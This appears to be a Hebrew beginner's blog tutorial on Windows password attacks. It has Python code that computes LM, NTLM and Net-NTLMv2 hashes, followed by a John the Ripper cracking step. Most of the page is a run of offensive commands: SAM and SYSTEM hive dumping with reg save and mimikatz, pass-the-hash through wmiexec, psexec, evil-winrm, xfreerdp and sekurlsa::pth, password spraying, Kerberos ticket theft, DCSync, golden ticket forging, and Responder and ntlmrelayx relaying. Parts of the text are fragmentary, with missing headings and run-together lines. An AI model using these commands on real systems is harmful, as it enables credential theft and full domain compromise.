מחקר סיסמאות Windows, המדריך למתחילים

import hashlib
from passlib.hash import lmhash

password = "password"
lm_hash = lmhash.hash(password)
print(f"LM Hash for '{password}': {lm_hash}")

הפלט שנקבל: LM Hash for 'password': e52cac67419a9a224a3b108f3fa6cb6d

import hashlib

def ntlm_hash(password):
    # Encode the password to UTF-16LE
    password_bytes = password.encode('utf-16le')
    # Calculate the NTLM hash using the MD4 algorithm
    hash_obj = hashlib.new('md4', password_bytes)
    return hash_obj.hexdigest()

password = "password"
ntlm_hash_value = ntlm_hash(password)
print(f"NTLM Hash for '{password}': {ntlm_hash_value}")
import hashlib
import hmac
import binascii
import struct
import time
import random

def utf16le(s):
    """ Convert string to UTF-16-LE. """
    return s.encode('utf-16le')

def md4(data):
    """ Calculate MD4 hash. """
    return hashlib.new('md4', data).digest()

def nt_hash(password):
    """ Generate NT Hash. """
    return md4(utf16le(password))

def hmac_md5(key, msg):
    """ Perform HMAC-MD5. """
    return hmac.new(key, msg, hashlib.md5).digest()

def ntlmv2_key(username, domain, nthash):
    """ Generate NTLMv2 key. """
    return hmac_md5(nthash, utf16le(username.upper() + domain))

def build_av_pairs(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree=""):
    """ Construct AV Pairs. """
    def av_pair(av_id, value):
        val = utf16le(value)
        return struct.pack('<HH', av_id, len(val)) + val

    pairs = (
        av_pair(0x02, nb_domain) +
        av_pair(0x01, nb_computer) +
        av_pair(0x04, dns_domain) +
        av_pair(0x03, dns_computer)
    )
    if dns_tree:
        pairs += av_pair(0x05, dns_tree)
    return pairs + struct.pack('<HH', 0x00, 0x00)  # End of AV pairs

def build_v2_blob(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree="", client_challenge=None, timestamp=None):
    """ Build NTLMv2 blob. """
    if client_challenge is None:
        client_challenge = random.getrandbits(64).to_bytes(8, 'little')
    if timestamp is None:
        timestamp = (int(time.time()) + 11644473600) * 10000000

    av_data = build_av_pairs(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree)
    return (
        b"\x01\x01\x00\x00" +  # Flags
        b"\x00\x00\x00\x00" +  # Reserved
        struct.pack('<Q', timestamp) +
        client_challenge +
        b"\x00\x00\x00\x00" +  # Reserved
        av_data
    )

def compute_netntlmv2(username, domain, password, server_challenge, nb_domain, nb_computer, dns_domain, dns_computer, dns_tree="", client_challenge=None, timestamp=None):
    """ Compute Net-NTLMv2 hash. """
    nthash = nt_hash(password)
    v2key = ntlmv2_key(username, domain, nthash)
    blob = build_v2_blob(nb_domain, nb_computer, dns_domain, dns_computer, dns_tree, client_challenge, timestamp)
    ntv2 = hmac_md5(v2key, server_challenge + blob)
    return ntv2, blob

if __name__ == "__main__":
    username = "user"
    domain = "kodkod"
    password = "password"
    server_challenge = binascii.unhexlify("997b18cc61099ba2")

    nb_domain = "WIN-487IMQOIA8E"
    nb_computer = "WIN-487IMQOIA8E"
    dns_domain = "win-487imqoia8e.local"
    dns_computer = "win-487imqoia8e.local"
    dns_tree = "win-487imqoia8e.local"

    ntv2, blob = compute_netntlmv2(
        username, domain, password,
        server_challenge,
        nb_domain, nb_computer,
        dns_domain, dns_computer,
        dns_tree
    )

    ntv2_hex = binascii.hexlify(ntv2).upper().decode()
    blob_hex = binascii.hexlify(blob).upper().decode()
    final_line = f"{username}::{domain}:{binascii.hexlify(server_challenge).decode()}:{ntv2_hex}:{blob_hex}"

    print("Net-NTLMv2 Hash:")
    print(final_line)

גם כאן, נשתמש ב-John the Ripper כדי לפענח את ה-NTLMv2 Hash:

  1. נששמור את ה-Hash שיצרת בקובץ, נניח בשם ntlmv2-hash.txt.
  2. נריץ את הפקודה הבאה: john --format=netntlmv2 ntlmv2-hash.txt
  3. התהליך עשוי לקחת יותר זמן מאשר NTLMv1 בשל השיפורים באבטחה, אך עבור סיסמאות חלשות כמו "password", נקבל תשובה בזמן יחסית מהיר:

בשורות הבאות אפרט את קבצים אלו:

2. System

reg load HKLM\SAM C:\Windows\System32\config\SAM
reg save HKLM\SAM\SAM C:\Temp\SAM.hivreg save HKLM\SYSTEM C:\Temp\SYSTEM.hiv

reg load HKLM\SYSTEM C:\Windows\System32\config\SYSTEM
reg save HKLM\SYSTEM C:\Temp\SYSTEM.hiv

mimikatz.exe
lsadump::sam /sam:C:\Temp\SAM.hiv /system:C:\Temp\SYSTEM.hiv
wmiexec.py DOMAIN/USERNAME:PASSWORD@TARGET

wmiexec.py <domain>/<username>@<target_ip> -hashes <LM_hash>:<NTLM_hash>

wmiexec.py mydomain/admin@192.168.1.100 -hashes :NTLM_Hash
crackmapexec smb <target_ip> -u <username> -p passwords.txt

hydra -l <username> -P <passwords_file> ssh://<target_ip>

psexec.py DOMAIN/Administrator@192.168.1.100 -hashes :NTLM_HASH
xfreerdp /v:<target_ip> /u:<username> /pth:<NTLM_HASH>

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

evil-winrm -i <TargetIP> -u <Username> -H <NTLMHash>

sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:NTLM_HASH /run:cmd.exe
privilege::debug
sekurlsa::tickets /export
 kerberos::ptt C:\path\to\ticket.kirbi
misc::cmd

net use \\ServerName\ShareName

mimikatz # lsadump::dcsync /user:krbtgt

kerberos::golden /user:kodkod /domain:domain.local /sid:S-1-5-21-XXXXX /krbtgt:HASH /id:500 /ptt

responder -I eth0

ntlmrelayx.py -tf targets.txt -smb2support

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *